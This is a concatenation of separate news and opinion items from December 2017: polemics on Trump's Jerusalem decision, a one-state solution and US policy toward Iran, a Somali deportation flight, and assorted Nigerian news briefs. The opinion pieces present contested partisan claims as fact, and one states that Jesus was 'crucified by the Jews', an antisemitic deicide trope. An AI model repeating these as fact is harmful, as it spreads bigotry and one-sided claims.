As for most of us in occupied Palestine we continue to resist in many, many

forms. See my book on "Popular Resistance in Palestine: A history of Hope

and Empowerment".



Meanwhile stay human and come visit us



Mazin Qumsiyeh

A Bedouin in cyberspace, a villager at home

Professor and (volunteer) Director

Palestine Museum of Natural History

Palestine Institute of Biodiversity and Sustainability

Bethlehem University

Occupied Palestine

http://qumsiyeh.org

http://palestinenature.org

Join me on facebook https://www.facebook.com/mazin.qumsiyeh.9
December 18, 2017 " Information Clearing House " - Donald Trumps rash declaration of Jerusalem as the Israeli capital does not, of course, deserve thanks. How could it, when it in effect amounts to American complicity in supporting Israeli war crimes of illegal occupation? But one inadvertent positive outcome from the US Presidents blundering is that it renews the alternative concept of a One-State solution.

Ironically, Trumps outrageous bias towards the Israeli government of Benjamin Netanyahu slams a nail into the coffin of the Two-State solution.

The charade of Washington acting as a neutral broker between Israelis and Palestinians is finally dead and buried with Trumps clumsy intervention.

Washingtons true colors, always a matter of suspicion, have now come to the fore, and the world can see from its soiled banner that Washington has no credibility as an honest broker.

Over the past week, some 22 leaders of Islamic nations gathered in Istanbul to condemn Trumps one-sided policy of nominating Jerusalem as the capital of Israel.

Turkish President Recep Tayyip Erdogan did not hold back. He called the United States a partner in Israeli bloodshed. The chorus of condemnation resounding among the conference of the Organization for Islamic Cooperation  representing some 57 nations  was not for show. Arab and Muslim nations are livid with what they see as Washingtons betrayal of Palestinian rights. Not just Palestinian rights but the rights of two billion Muslims across the world who view Jerusalem as their spiritual home, owing in part to the presence of Al Aqsa Mosque, the third holiest site in Islam after Mecca and Medina.

Lest we forget, Jerusalem has also special significance for Christians due to the Church of the Holy Sepulcher marking the site where Jesus Christ was crucified by the Jews, and where Christians believe Jesus, the Son of God, rose from the dead some 2,000 years ago. Palestinians also comprise Christians who venerate that church.

Notably, the mild-mannered Palestinian leader Mahmoud Abbas told the Istanbul conference that the US is no longer recognized as a mediator in the decades-old Arab-Israeli conflict.

Furthermore, Palestinian leaders are now openly repudiating the so-called Two-State solution, and are rallying behind the previously spurned One-State Solution.

Saeb Erekat who has been involved in negotiating the Two-State Solution for the past 25 years is now clearly saying that Palestinians should demand one indivisible state from the Jordan River to the Mediterranean Sea.

Such a vision would galvanize unity between Palestinian factions. Unlike the Fatah organization of Abbas and Erekat, more intransigent factions like Hamas have always refused to acknowledge the validity of the Israeli state, which was formed in 1948 and has relentlessly expanded since the 1967 Six Day War, usurping more and more Palestinian territory by building illegal settlements along the West Bank of the Jordan River.

A One-State solution rejects the concept that two adjacent states should coexist, one for the Israelis and one for the Palestinians. On the contrary, the former is premised on maintaining the territorial integrity of ancient Palestine, where Arabs, Jews, Muslims, Christians and non-believers live as common citizens in a single state.

This year marks the centenary of the infamous Balfour Declaration when the British, who administered colonial Palestine, hatched the Zionist plan in 1917 to carve up Palestine and bestow a new Jewish state solely for Jews. It was a sordid move by the British to placate a wealthy Zionist lobby. After the Second World War, the concept of an Israeli state dedicated to Zionist Jews became a reality under a dubious Western-sponsored United Nations mandate. From then on the majority native Palestinians have either been expelled or made strangers in their own land.

Since 1993, when US President Bill Clinton oversaw the Oslo Accord, the Two-State solution became the only game in town. Any notion of a single state based on Palestines historic borders became marginalized even, it has to be said, by the Palestinian negotiators of the dominant Fatah party led by the late Yasser Arafat.

Some Arab intellectuals like the late Edward Said held fast to the One-State solution and were trenchant critics of the Two-State plan. Edward Said and others always maintained that the plan was historically flawed and futile as a peaceful settlement.

Now, those unfairly maligned critics are being vindicated. They include many Jewish people around the world who have never supported the Zionist cause of apartheid occupation in the Middle East.

Ralph Schoenman, author of A Hidden of Zionism, welcomes the death of the Two-State solution, as prompted by Trumps latest debacle over Jerusalem. Schoenman reiterates the view that the Two-State solution was only a trap for the Palestinians. It was never honestly negotiated by the Israelis nor the Americans.

A quarter-century after signing the Oslo Accords, the Palestinians are further than ever from realizing the promise of establishing an independent, sovereign nation. They have been strung along by rightwing Israeli governments and Washington, both of whom cynically gave lip service to negotiated peace deal  one that would theoretically afford the Palestinians East Jerusalem as the capital of a future state.

But all the while, successive Israeli governments have shamelessly procrastinated on negotiations, while continually usurping more and more Palestinian land, bulldozing homes, building illegal settlements and erecting military security barriers.

Washington has pandered to this Israeli chicanery with unswerving servility. Bankrolling the Israeli state with $3 billion every year in military aid and shielding Israeli crimes through its veto at the UN Security Council. The power of the Zionist lobby in Washington buying off lawmakers and the White House is part of the duplicity. Another fundamental reason is that Washingtons imperialist foreign policy relies on the Israeli state as a military garrison in the oil-rich Middle East from which the US can project its own hegemonic ambitions.

Along comes Trump and through his imbecilic impetuousness, the Two-State charade is blown apart  albeit unintentionally.

What happens if Palestinians simply give up  as they now seem to be doing  on the illusions of the Two-State scenario?

Then the whole vile situation becomes glaringly visible. The entire tract of land between Jordan and the Mediterranean Sea starts to resemble what it really is and what it has been for seven decades since 1948: one of brutal military occupation and suppression of Palestinian people under apartheid laws favoring Zionist Jews.

Such a scenario will be politically difficult to sustain without the fig-leaf cover of the Two-State charade. World opinion, already sympathetic to the Palestinian cause, will be even more mobilized by the brazen injustice where millions of people are mistreated like inferior subjects. In that vile situation laid bare, it would give the Palestinian cause even more legal and moral power to pursue their rights under international law.

Demographically, too, a One-State solution makes sense. In the current state of Israel, the population is approximately 8.5 million, with 2 million being Arab and 6.5 million Jews. In the Palestinian territories, the population is around 6.5 million. Thus, in a scenario of one national territory from the Jordan River to the Mediterranean Sea, Palestinians would potentially have democratic parity.

Furthermore, if the 4 million Palestinians living as exiles in neighboring Jordan, Lebanon and Syria  expelled after the 1948 and 1967 Wars  were to demand their rightful return then the democratic balance shifts decisively in favor of Palestinians against those who uphold the Israeli state.

With an open mind, the concept of a single, undivided Palestinian nation state makes sense historically, politically and morally.

The concept of an Israeli state is arguably a dubious one historically. Of course, there was an Israeli and Jewish people in the region going back millennia. Coexisting alongside many other peoples of different religions. Palestine as a heterogenous territory has much more valid claim to historical precedent than Israel. The latter was largely an artificial entity borne out of British colonial intrigue in cahoots with Zionist ideologues and money stuffed into the British exchequer.

Why shouldnt there be one country, shared by Jews, Muslims, Christians and others who can all share the capital of Jerusalem and its multi-faith heritage?

Why should the Holy Land be carved up into religious-ethnic ghettos despoiled by discriminatory laws enforced down the barrel of a gun?

American foreign policy out of its own selfish imperialist interests has compounded the crimes of British colonialism by pandering to Zionist regimes and their dubious historical fantasies.

Donald Trumps unbridled support for Israeli crimes and injustices has finally blown up the phony Two-State solution. That solution was never viable, and never meant to be viable.

By outraging Palestinians, Arabs, Muslims, Christians  and, it has to be said, many honest-thinking Jews  around the world, the focus is now rightly shifting to more realistic options. Ones that actually uphold the long-denied rights of Palestinians.

Russia and the European states have rejected Trumps unilateral declaration on Jerusalem. They can therefore act as sponsors of a genuine, new initiative. Russias growing stature in the Middle East region as a principled and honest broker could be pivotal.

If the Muslim nations can maintain the momentum and focus they united around during the conference in Istanbul over the past week, then a brand new political framework opens up. One that jettisons the fraudulent Two-State policy and Washingtons bankrupt authority.

A One-State solution for Palestine is back on the agenda.

Finian Cunningham has written extensively on international affairs, with articles published in several languages. He is a Masters graduate in Agricultural Chemistry and worked as a scientific editor for the Royal Society of Chemistry, Cambridge, England, before pursuing a career in newspaper journalism. He is also a musician and songwriter. For nearly 20 years, he worked as an editor and writer in major news media organisations, including The Mirror, Irish Times and Independent.

This article was originally published by SCF -
December 18, 2017 " Information Clearing House " - The US is attempting to sell to the public the next phase of its continued occupation and military operations across the Middle East. Predicated on claims of rebuilding Iraq and fighting terrorists in Syria, it is in actuality a plan to perpetuate for as long as possible the upheaval currently consuming the region in hopes of overextending and exhausting Iran  and by extension  Russia.

Iranian Roadblock to Western Hegemony

The United States in its pursuit of global hegemony has placed particular focus on encircling, containing, undermining, and if possible, overthrowing the socioeconomic and political order of Iran as a means to secure for itself primacy over the Middle East and North Africa (MENA) region.

Since the collapse of the Ottoman Empire, the British followed by the Americans have pursued a multi-generational policy of divide and conquer across MENA.

Nations Ango-American influence could not outright conquer and co-opt such as the Persian Gulf monarchies  or create in the case of Israel  have been either picked apart and left in ruins through direct or indirect military interventions, or have spent decades staving off open and concerted efforts to divide and destroy their respective nations. These nations include Yemen, Libya, Iraq, and Syria most recently, as well as Egypt, Lebanon, Algeria on and off throughout the 20th and 21st centuries.

Iran  above all other nations in the region  reserves a special place for Western attention. Its large population, geography, economy, and military might has provided it space and time to incrementally grow its power and influence throughout the region and the world to dimensions difficult for the West to overcome and dominate.

With 80 million people, a GDP of nearly $400 billion, and an army over half a million strong, Iran is not Iraq, Afghanistan, Syria, nor Libya. And as the technological disparity among nations in regards to conventional military capabilities closes, the West finds itself in an increasingly disadvantageous position in regards to coercing Iran directly through force.

Because of this emerging reality, US policy versus Tehran is shifting from attempting to justify a military confrontation it is no longer certain it can win, to a policy of containment and limited conflict similar to Americas maneuvering in Asia Pacific regarding Beijing.

US Plans to Minimize Irans Influence in the Middle East

A piece in The Nation Interest penned by Brookings policymakers titled, A blueprint for minimizing Irans influence in the Middle East, attempts to summarize Americas current plans regarding the containment or minimization of Iranian influence.

In Iraq, the US appears poised to extend its military presence under the pretext of aiding and rebuilding the country. It even suggests proposed aid levels comparable to those given to Afghanistan  a nation where, despite immense aid and a continuous US military presence since 2001  still has seen and suffered the arrival and spread of the so-called Islamic State (ISIS).

The paper claims:

A stronger, more stable Iraq will be much better positioned to resist domination by Iran. Given the stakes, and Americas previous investment, aid levels comparable to those given Afghanistan or Egypt are in order. Engaging in this way can also enable the United States to help Baghdad keep an eye on the Iran-backed Shia militias as they are partially disbanded and partially worked into Iraqi Security Forces in coming months.

In reality, the US is neither capable of creating a stronger, more stable Iraq, nor does it genuinely seek to do so. It will use its continued presence in Iraq to undermine and roll back progress made by Baghdad and its Iranian allies against militant groups including ISIS and Al Qaeda as well as US-backed Kurds in the nations north.

In particular, the US has invested an inordinate amount of time and resources to secure highways leading from Baghdad to Iraqs borders with Jordan and Saudi Arabia  two nations that have played a pivotal role in arming, funding, and harboring militants engaged in militant operations from Lebanon and Syria to Iraq and Yemen. With a US presence along these highways, any torrent of logistical support for sectarian violence within Iraq would be difficult to target and eliminate by the Iraqi military or any of its allies  ensuring perpetual conflict.

A stronger, more stable Iraq, considering the nations Shiaa majority, would be more inclined to seek stronger ties with neighboring Iran than occupying Western forces and fits nowhere into Washingtons real plans for the nation. Instead, dividing Iraq into further sectarian conflict and drawing in Iranian support would seek to overextend and exhaust Iranian military power in the region.

In essence, the actual US plan for Iraq is to organize and implement the next round of deadly sectarian fighting.

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Regarding Syria, US plans to occupy and administer seized Syrian territory were reiterated  plans that have been openly pursued since outright US-backed regime change stalled in 2011.

The paper claims:

Still, the United States and like-minded statesas well as global-aid agenciesneed to help provide security and economic assistance to regions free of Assads rule as well as the Islamic State. Some of these regions should be treated as temporary autonomous zones and help govern themselves as well. Additionally, more western and GCC military strength and support for moderate insurgents is needed in northwest parts of the country, such as in and around Idlib, where the Al Qaeda affiliate, formerly known as Jabhat al-Nusra, is still active. Otherwise, either the latter group or Assads forces backed by Russia and Iran will be the likely victor.

Essentially, the US seeks to Balkanize Syria and continue its proxy war against Damascus.

The article sidesteps intentionally around the fact that Idlibs Al Qaeda occupants were armed, funded, trained, and sent there by the United States and its allies in the first place. It also intentionally sidesteps the reality that there are no moderate insurgents in Syria, and there never were.

The paper tips Americas hand, revealing that ongoing Western operations in Syria are aimed not at fighting and defeating ISIS or Al Qaeda, but using the presence of both groups as a pretext to prevent the Syrian government from restoring order to the country, preserving its territorial integrity, and rebuilding its economy. Both terrorist organizations serve as placeholders, denying Damascus access to its own territory until US military assets can take and hold it.

In other words, in regards to minimizing Iranian influence in Iraq and Syria, the US is determined to divide and destroy both nations and their people, plunder their resources, and maintain their collective territory as a breeding ground for sectarianism and extremism. Iranian attempts to assist each nation  or both  comes at the cost of extending itself militarily and economically.

Admitting this would be unfeasible in the pages of The National Interest. But claiming that the US must remain in Iraq to rebuild the country and continue operations in Syria to fight terrorism allows Washington to continue sowing chaos in both nations, chalking up any noticeable inconsistencies between its alleged policy and its actual plans to tenacious terrorists or even Iran itself.

Tony Cartalucci, Bangkok-based geopolitical researcher and writer, especially for the online magazineNew Eastern Outlook.
The Somalis left Louisiana on Dec. 7. Their flight, chartered by US Immigration and Customs Enforcement, was bound for Mogadishu, the capital of Somalia. But the plane never arrived.

After landing in Dakar, Senegal, on Africa's west coast, the one-way flight became a round trip, back to the US. Why that happened, though, remains subject to dispute.

The 92 immigrants, now being held at the Krome and Glades detention facility outside Miami, are consulting with their lawyers.

The passengers say they were denied food and water and weren't allowed to use the bathroom. One of my colleagues characterized them as slave ship conditions, says attorney Kimberly Hunter, who represents two of the passengers on the flight.

ICE disputes accounts about lack of adequate food, water and restrooms  although those inadequacies are consistent with reports that we've had from our clients, she says.

According to ICE, the flight was returned to the US because the relief flight crew was unable to get sufficient rest.

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"So [the passengers] were held on the tarmac to allow the crew to rest and subsequently, due to logistical concerns, returned to the US, Hunter says.

But Hunter believes the flight was turned back for another reason.

Somali media report that, due to protests taking place in Mogadishu pertaining to the Jerusalem decision by [the Trump] administration, the security situation just became completely untenable as far as allowing that flight to land, she says.

Hunter believes ICE will try to send the group to Mogadishu again soon. Once in Somalia, even those who might have grounds to appeal their deportation will be unable to return.

I think it's reflective of the Trump Administrations overall crackdown on immigration as well as reflective of their attitude towards Somalia and towards Muslims, she says.

One of her clients, Abdoulmalik Ibrahim, could, in theory, be allowed to return to the United States because his American wife is entitled to file a petition for him.

But he's got no way to actually return now or in the near future, with the fact that the Somali travel ban has recently been allowed to continue.
The armed robbers that hijacked a bullion van early this month in Delta State, reportedly carted away a whopping sum of $2 million, according to Sahara Reporters.

Recall that on Friday, December 9th, the devil armed robbers numbering over five attacked a bullion van belonging to a major bank around Koka junction along the Asaba-Benin Expressway and carted away an undisclosed amount of cash as they shot sporadically to scare people away from the scene.

SaharaReporters learned that shortly after the robbery incident, three senior officials of the bank stormed the state police command, Asaba and met with the outgoing commissioner of police, Zanna Ibrahim and other officers and dropped the hint that the sum of $2 million was allegedly carted away by the armed robbers during the robbery.

A senior Special Anti Robbery Squad official in the state police command, who spoke to Sahara Reporters under anonymity, confirmed that the bank officials gave the figure of $2 million as the cash carted away by the bandits during the operation while the Nigerian currency in several bags was left untouched.

One Mr. Ikechulwu, head of operations, one Mr. Athanasius, the cash movement officer and a lady manager came to the command and met with the commissioner of police and other senior officers of the command and told us that the sum of $2 million was the amount carted away by the robbers during the bullion van robbery, said the police source.

As at this money no arrest has been made but I can tell you that some of the bank officials and the team of policemen who served as escort to the bullion van on the day of the robbery have been quizzed several times at the state police command. Though, we are suspecting a well coordinated internal connivance in the robbery. But I can assure you that in no distance time the robbers will be arrested. the officer added.

 Sahara Reporters.
President Muhammadu Buhari, on Monday, cancelled his scheduled trip to Niger Republic, this was confirmed by his Senior Special Assistant on Media and Publicity, Garba Shehu, had announced on Sunday that Buhari would join some world leaders for the 59th Proclamation of Republic of Niger ceremony in Tahoua, Niger.

Shehu had said Buhari, alongside the Presidents of Mali, Burkina Faso, Chad, Mauritania and Niger, would participate at the event held on December 18 of every year to commemorate the founding of the Republic of Niger and the creation of the Presidency.

After the ceremony, the Nigerian leader will hold bilateral meetings with some of his counterparts before returning to Abuja same day.

President Buhari will be accompanied on the trip by Governors Aminu Masari, Ibrahim Gaidam and Kashim Shettima of Katsina, Yobe and Borno states respectively, the statement had read.

But Buhari did not embark on the trip on Monday as scheduled.

Shehu, however, explained that the President cancelled the trip because he felt satisfied that he had had useful discussions with President Mahamadou Issoufou in the course of the weekend meeting of the Economic Community of West African States in Abuja.

The presidential spokesman added, President Buhari felt satisfied that he had had useful discussions with his friend and brother, President Mahamadou Issoufou, in the course of the weekend meeting in Abuja, of the Economic Community of West African States.

After a phone call last (Sunday) night, between the leaders, President Buhari decided to send a delegation made up of the three governors of Katsina, Yobe and Borno states along with the Minister of State for Foreign Affairs to represent him.
Veteran comedian, Alibaba took to his page share his thoughts on the popular tithing topic and also same-sex marriage. He wrote;

If any PASTOR agrees that a man can marry a man and that a woman can marry a woman something that is not in the bible, then he has no right to preach about sin. In fact, he has lost the right to call anyone a sinner. Because it can not be only tithes that cannot be changed.

People keep permitting everything and harping on the one that suits them. If you agree that men can marry men, then we can begin to negotiate tithes. I know many are afraid to speak on this matter. But the truth is there Its not going away. Come and be drumming into my ears God said It is written God is always right But we should let people decide their partners. No argument. You said God says man shall not steal.

BUT A MAN WHO HAD NOTHING goes into politics. One term down, he builds a mansion that his 20 years salary as a politician, can not fund or afford. But you go pray to open the house, all the same, and dedicate it to God. GOD SAID pay your tithe. And you say that is sacrosanct.

Can I decide who to give it to? You say no. But God said a man must leave his parents and cling to a woman, you are accepting alterations. Kwuanteeenuuuu

source: Gistreel
The officials of Lagos Police Command have arrested a disabled beggar operating in Egbeda area of Lagos.



The suspect, Godwin Fawehinmi was caught in possession of a gun and upon investigation, police recovered more guns from his house at Alhaji Sadiku street in Akowonjo area of Egbeda.

Fawehinmi who is yet to tell police what he was doing with the weapons, has been transferred to the Special Anti-Robbery Squad (SARS) office for further investigation.

The suspect, who is crippled, it was learnt, usually begs for alms on the street on a daily basis. However, it came to many as a surprise when a gun was recovered from him.

A source, according to Lailass blog, said some residents of the area where the man usually sits to beg for alms, noticed different people that visit him on a daily basis, look suspicious. That was why they informed the police.

A police source said Fawehinmi might be keeping the gun for some armed robbers and pretended to be a beggar.

The state Police Public Relations Officer (PPRO), SP Chike Oti, confirmed Fawehinmis arrest. He said:
US President Donald Trumps first National Security Strategy, which described Beijing as a challenge to American power, as a Cold War mentality that will only harm Washington, according to the Chinese government.

Any country, or any report, which distorts the facts, or maliciously slanders will only do so in vain, foreign ministry spokeswoman Hua Chunying told a regular news briefing.

The two countries have been locked in an increasingly acrimonious battle over trade issues, with Washington taking unprecedented steps to investigate and add tariffs to Chinese-made goods.

Trumps security strategy  11 months in the making  takes a step further, pillorying China as a revisionist power seeking to displace the United States in Asia.

We urge the United States to stop intentionally distorting Chinas strategic intentions and to abandon outdated notions such as the Cold War mentality and zero-sum game, otherwise it will only harm itself or others, Hua said.

Hua launched a vigorous defence of Beijings foreign policy.

China will never pursue its own development at the expense of other countries interests.

Hua added: At the same time we will never give up our legitimate rights and interests.

The security strategy contrasts with the friendly nature of Trumps first state visit to Beijing in November, when he received a lavish welcome and repeatedly praised President Xi Jinping.

Source : ( AFP )
A driver has suddenly died while on the high way in Lagos state leaving many people totally shocked over the incident.

Policemen at Idimu Division have recovered the corpse of an unidentified commercial driver who was found dead inside his bus while driving on the high way in Lagos. The incident caused serious panic in the area.

According to PM Express, the incident happened close to Council bus stop in Idimu area of Lagos where he was plying before he was found dead on the drivers seat.

The Idimu Police Division and the DPO led his team to the scene and recovered the corpse and deposited it at the mortuary for autopsy report. The yellow commercial bus inside which the deceased passed on was also recovered and parked at the police station as exhibit.

What would have caused his death was not yet known as the autopsy report was not yet out. However, residents suspected that he might have died due to stress or may have had a terminal ailment that would have caused his death.

It was gathered that there was no incidence of accident in the area and the bus had no scratch or damage.

Another source said that the police has contacted his 18 years old daughter who revealed that she had not seen her father for the past 17 years. This fueled the suspicion that he may have separated from his family for several years.

The police source said the corpse has been deposited at the Yaba mortuary, and if the family was not located within a stipulated time, the corpse will qualify for mass burial by the state government.
The Petroleum and Natural Gas Senior Staff Association of Nigeria, PENGASSAN, on Monday announced the suspension of its planned nationwide strike after Neconde Energy Limited, an indigenous oil company, agreed to recall a disengaged staff member of the union.

The National President of PENGASSAN, Francis Johnson, who announced the suspension of the strike, said it was done in the spirit of the forthcoming yuletide season.

In the spirit of the yuletide, on behalf of the National Executive Council, NEC, of PENGASSAN, the Central Working Committee, CWC, hereby suspends the nationwide strike with immediate effect and all members are to resume normal duties immediately, Mr. Johnson said late on Monday.

Neconde had on October 5 terminated the appointment of Babatunde Animashaun, a Gas Petroleum Engineer and Chairman of the oil companys Chapter of PENGASSAN.

Apart from Mr. Animashauns sack, the management of the company was said to have engaged in activities the oil workers said were aimed at stifling unionism in Neconde.

Despite protests by the national secretariat of the union over the matter, the company refused to rescind its decision on Mr. Animashaun.

Initially, the association issued a 72-hour ultimatum to government to call the company to order over allegations of anti-workers practices against some of its members, including Mr. Animashaun.

At the expiration of the ultimatum, another seven-day notice was issued, which resulted in the Minister of State for Petroleum Resources, Ibe Kachikwu, offering to broker a truce between PENGASSAN and the company.

But the ministers intervention did not yield fruits, following which the association declared a formal strike action to commence after 23.59 hours on Monday.

However, before the meeting of its Central Working Committee to take a final decision on the strike, PENGASSAN was inundated with meetings with various government agencies, including the Minister of Labour and Employment and the State Security Service, SSS.

During last weeks meeting with the labour minister, Chris Ngige, PENGASSAN alleged anti-union posturing by some indigenous companies and marginal field operators, including Neconde Energy, accusing them of indiscriminate transfer of employees.

At the end of the engagement with both PENGASSAN and Neconde management, the oil firm agreed to recall the sacked union leader and allow its employees to belong to unions of their choice.

Besides, the meeting also agreed that all resolutions reached would be subject to reviews after three months, to determine level of adherence by Neconde Energy.

Source: ( Premium Times )
Ekiti state workers may have reason to rejoice as Governor Ayodele Fayose has promised to pay them Christmas bonus on Thursday.

Governor Ayodele Fayose of Ekiti State has pledged to pay civil servants in Ekiti State Christmas bonus on Thursday. He made the announcement yesterday after he received N4.76bn Paris Club Refund from the Federal Government.

He tweeted: I have received N4.76bn Paris Club Refund. It will be shared between the state and LG next week.

Then added: Civil Servants will get their Xmas bonus latest Thursday. Salary will come, leave bonus will come, Xmas bonus will come, Everything will come.
buhariFive years ago, when he was 70, President Muhammadu Buhari spoke with The Suns Managing Director/Editor-in-Chief, Eric Osagie, in company of a correspondent, wherein he talked about his growing up days, experiences in the Army, his emergence as head of state and many more sundry issues in the polity.

The President who reportedly has a house in Abuja, one in Lagos, one in Daura and one in Kaduna, was asked of what property he has now at 70, and he said;

You are right but am not going to read or declare with you. My assets were on record, I told some of your colleagues when they came. When Murtala/Obasanjo regime came, they made sure that certain grades of public officers must declare their assets when they assumed that office and they must declare when they were leaving. So, when I was sworn in as governor of North East, I declared my assets.

When he was asked why he did not declare?, he said; I declared surprisingly, even the number of my cows then. Even if they were supposed to be producing every year, but I declared them the time I was there. And when I was leaving governorship, I became petroleum minister.

When I was leaving to go to War College, I declared my assets. I could recall General Jemibewon then, was the Adjutant-General of the Army. He rang me and said he was sending me asset declaration form, that I must fill it, sign it before I left for the United States. And I did.

General Jemibewon is still alive. And when I became head of state eventually, I declared my assets again. So, all of us; when I say that, I mean Obasanjo downwards, those who are alive who were governors, ministers, head of states, they had declared assets.

So, if you people are serious and interested about political officers becoming multi-billionaires, you can find out from Murtala downwards. And those of us who were not very good in making money you should pity us.

When asked if he doesnt like money?, he said; Everybody likes money but I am not very good at making money. Let me put it that way. I borrowed from the banks to build the house in Daura and the one in Abuja that you mentioned and the one in Kano. The bank then was Barclays, now Union Bank.

Kaduna State or North Central then housing scheme and the Federal Mortgage Bank for the house I am in and AIB, which was, I think, terminated by Central Bank. So, when you go through the records, you find out that the houses I built, I borrowed from there.

Click here to read the full interview on The Sun.
A mother and child who reside at Sharp Corner in the Mararaba area of Nasarawa near Abuja, have been dragged to court by their father and are standing trial on a two-count of conspiracy and theft.

A 63-year-old Chinyere Obilonu, together with her son, Emmanuel Obilonu, 23, on Tuesday appeared in a Mararaba Upper Area Court, Nasarawa State, for allegedly defrauding her husband of N177,000.

The mother and child who reside at Sharp Corner, Mararaba, are standing trial on a two-count of conspiracy and theft.

The prosecutor, Cpl. Hamen Donald, told the court that one Godwin Obilonu, a husband and a father to the defendants reported the matter at the divisional police station, Mararaba on Nov. 15.

Donald said that the defendants had conspired with one Mr Adache Godwin and used the complainants mobile phone to transfer N177, 000 to their various accounts without the complainants consent.

He added that N100, 000 was transferred to a UBA account; N50, 000, to an Access Bank account; and N27, 000, to a Fidelity Bank account.

The prosecutor said that in the course of investigations the account numbers were traced to the defendants.

He said that the offences contravened Sections 97 and 288 of the Penal Code.

The defendants, however, pleaded not guilty to the charges.

The Judge, Ibrahim Shekarau, granted bail to the accused in the sum of N50, 000 each with a surety in like sum.

Shekarau said the sureties must reside within the courts jurisdiction and must deposit two of their recent passport photographs each.

He adjourned the case till Jan. 29 for hearing.
A study revealed that men with a history of cardiovascular disease may be more at risk of facing sudden cardiac arrest during or after sex and this occurs without warning. The findings showed that although the incidence is very rare, survival rates in such cases remain low. this is the usually because there will be need to perform cardiopulmonary resuscitation (CPR) which could save more lives.

The researchers, Sumeet Chugh, Associate Director at the Cedars-Sinai Heart Institute said; Even though SCA during sexual activity was witnessed by a partner, bystander CPR was performed in only one-third of the cases .

another study performed in the Journal of the American College of Cardiology, the team examined records of more than 4,500 cardiac arrests over a period of 13 years in persons above 18 years. Out of these only 34 were during or within an hour of having sex, and 32 of those were men, who were already taking drugs for heart conditions.Patients who experienced sudden cardiac arrest related to sexual activity also had a higher rate of ventricular fibrillation/tachycardia than those who did not. Only one-third of these SCA cases received bystander CPR. This low bystander CPR rate accounted for less than 20 per cent of patients who survived to hospital discharge, the researchers noted. Moreover, some cases of SCA after sexual activity may also involve medications, stimulants and alcohol use, the researchers said. These findings highlight the importance of continued efforts to educate the public on the importance of bystander CPR for SCA, irrespective of the circumstance, Chugh added.
Punch

The Federal Government has accused a former Senate President, David Mark, of illegally acquiring his then official residence as his private property.

Vanguard

Managing Director of Niger Delta Development Commission, NDDC, Mr Nsima Ekere, has said that the commission was set to create more jobs for youths in the region to discourage periodic protests by youths around the premises of the commission.

Thisday

In order to quell the ongoing war between Dangote Group and BUA Group over the mining rights in Obuh, Okpella, Etsako East Local Government Area of Edo State, the federal government has ordered both companies to vacate the site to prevent a breakdown of law and order in the area.

The Sun

In this concluding part of the interview President Muhammadu Buhari granted Eric osagie, The SunMD/Editor-in-Chief in company of Paulinus Aidoghie in 2012, he explains why he is not super rich despite being former Head of State.

Guardian

The recent 2-day visit to Kano State by President Muhammadu Buhari has opened fresh insights into what may occur on the states political terrain regarding preparations, conduct and outcome of the 2019 governorship. Eyes are already on incumbent governor, Abdullahi Umar Ganduje who is expected to seek reelection on the platform of the ruling All Progressives Congress (APC).

Daily Times

Attackers suspected to be dreaded Islamic terrorists, Boko Haram, have carried out a surprise attack on a convoy of World Food Programme, WFP going to deliver food aid to internally displaced persons in northeast Nigeria.

Daily Trust

The Lagos State Traffic Management Authority (LASTMA) has arrested five of its traffic officials for extorting motorists last week at various parts of the state.

Tribune

President Muhammadu Buhari has approved the extension of the tenure of the Chief of Defence Staff, Gen. Abayomi Olonisakin, and the three Service Chiefs.

The Nation

The row over the $1 billion anti-Boko Haram battle fund to be withdrawn from the Excess Crude Account (ECA) grew yesterday, with the ruling All Progressives Congress (APC) and the opposition Peopes Democratic Party (PDP) throwing darts at each other.
Former Paralympic athlete Oscar Pistorius has filed papers to South Africas Constitutional Court, appealing against his 13-year jail term for shooting dead his girlfriend, a lawyer for the victims family said Tuesday.

A court last month increased Pistoriuss sentence for murdering Reeva Steenkamp to 13 years in the latest stage of a long court battle since his trial in 2014.

Pistorius shot dead Steenkamp in the early hours of Valentines Day in 2013 when he fired four times through the door of his bedroom toilet, later saying that he thought she was an intruder.

We respect the law. It is Oscar Pistoriuss constitutional right to appeal his sentence. The law must take its course, Tania Koen, a lawyer for the Steenkamp family, told AFP by email.

Pistorius was originally convicted of culpable homicide  the equivalent of manslaughter  but his conviction was upgraded to murder on appeal.

Pistorius also tried to take the murder conviction to the Constitutional Court, South Africas highest tribunal, but it refused to hear the matter.

Source: ( AFP )
The former Minister of Works, Senator Adeseye Ogunlewe, has been faulted by a group, identified as League of Yoruba Professionals in the Peoples Democratic Party for openly supporting Governor Nyesom Wike of Rivers State, over his recent statement on the Yoruba people.

The group, in a statement on Monday by its Chairman, Dr. Adegoke Adaranijo, said it read with dismay comments credited to Ogunlewe where he defended Wikes statement.

Adaranijo said he expected that as a former minister, Ogunlewe should have asked Wike to apologise to the Yoruba people.

The statement partly read, Even when many leaders in the Yoruba nation, who are within the PDP fold, had denounced Wikes utterances as crude and uncouth, Ogunlewe, in his characteristic manner, has aligned himself with the traducer of his own people.

Is Ogunlewe happy that our people are being lampooned and dishonoured in the market square?

A former governor of Ogun State, Olusegun Osoba, even rose above partisan politics to fault Wikes pronouncements. That is the way it should be.

The group, thereafter, asked Ogunlewe to retract his statements and apologise to the Yoruba people.

Source: ( Punch Newspaper )
A top Nigerian musician based abroad, Michael Edwin Etute popularly known as BCROSS has regretted coming back for the Christmas holidays after he was robbed at a bank in Lagos state, according to a report by PM Express.

The report revealed that the robbers collected N300,000 BCROSS withdrew from the bank and another 8,000 Euros (N3,397,939) he kept inside his vehicle and went home dejected.

The incident happened last week Thursday at the GTBank branch located at Akowonjo round about in Shasha area of Lagos. The police at Area M Command, Idimu has arrested the banks security man in connection with the robbery and detained him at the Command.

Edo State born musician confirmed the incident and said he was still in shock over what happened and demanded for thorough investigation in order to fish out the criminals. The embittered BCROSS narrated how the incident happened and suspected that it was the work of an insider in the bank who gave out the information about his transaction.

He explained that he had gone to the bank to withdraw the money and had contact with some staff of the bank including the arrested security guard. He said the staff asked him how much he wanted to withdraw and he told them before he withdrew the money.

He narrated that when he entered his car to go home, he observed that a vehicle that parked behind him in front of the bank was trailing him. He then decided to park to allow the suspects to move on. However, his decision did not work as the robbers moved to his car, forcefully opened the boot, stole the money and escaped.

He said that he reported the matter to the police and the key suspect who was the security man was arrested but later released on bail. He lamented that the security situation in the country has not really improved and advised that the government should do something about it otherwise it will continue to drive investors away from the country.

He also noted that the economic situation in the country had made it worse as many youths took to crime and added that it was the same situation that made him to travel abroad eight years ago.

However, police sources at the Command confirmed the incident and said the police has intensified efforts to arrest the culprits.

 PM Express
At a event organized by the Nigerian army recently, President Buharihad an epic reaction to meeting the tallest soldier in the Nigerian army.

Heres the video below;
